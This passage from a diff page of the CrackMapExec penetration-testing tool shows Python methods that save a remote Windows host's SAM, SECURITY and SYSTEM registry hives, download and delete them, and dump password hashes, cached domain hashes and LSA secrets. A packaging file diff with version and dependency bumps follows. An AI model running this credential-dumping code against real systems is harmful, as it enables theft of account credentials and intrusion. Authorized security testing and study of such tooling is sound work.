self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
|
||||
|
||||
localOperations = LocalOperations(self.output_filename + ".system")
|
||||
bootKey = localOperations.getBootKey()
|
||||
SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret))
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename + ".sam")
|
||||
|
||||
def lsa(self):
|
||||
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
||||
self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security")
|
||||
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
|
||||
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
|
||||
|
||||
localOperations = LocalOperations(self.output_filename + ".system")
|
||||
bootKey = localOperations.getBootKey()
|
||||
LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
File diff suppressed because it is too large
Load Diff
|
@ -1,6 +1,6 @@
|
|||
[tool.poetry]
|
||||
name = "crackmapexec"
|
||||
version = "5.2.3"
|
||||
version = "5.2.6"
|
||||
description = "A swiss army knife for pentesting networks"
|
||||
authors = ["Marcello Salvati <byt3bl33d3r@pm.com>", "Martial Puygrenier <mpgn@protonmail.com>"]
|
||||
readme = "README.md"
|
||||
|
@ -52,7 +52,7 @@ cmedb = 'cme.cmedb:main'
|
|||
[tool.poetry.dependencies]
|
||||
python = "^3.7.0"
|
||||
requests = ">=2.27.1"
|
||||
bs4 = "^0.0.1"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
lsassy = ">=3.1.1"
|
||||
termcolor = "^1.1.0"
|
||||
msgpack = "^1.0.0"
|
||||
|
@ -64,7 +64,8 @@ impacket = "^0.9.24"
|
|||
xmltodict = "^0.12.0"
|
||||
terminaltables = "^3.1.0"
|
||||
aioconsole = "^0.3.3"
|
||||
pywerview = "^0.3.3"
|
||||
pywerview = ">=0.3.3"
|
||||
aardwolf = "^0.0.8"
|
||||
|
||||
|
||||
[tool.poetry.dev-dependencies]
|
||||
|
@ -74,5 +75,5 @@ shiv = "*"
|
|||
black = "^20.8b1"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry>=0.12"]
|
||||
build-backend = "poetry.masonry.api"
|
||||
requires = ["poetry-core>=1.0.0"]
|
||||
build-backend = "poetry.core.masonry.api"
|
||||
|
|
Loading…
Reference in New Issue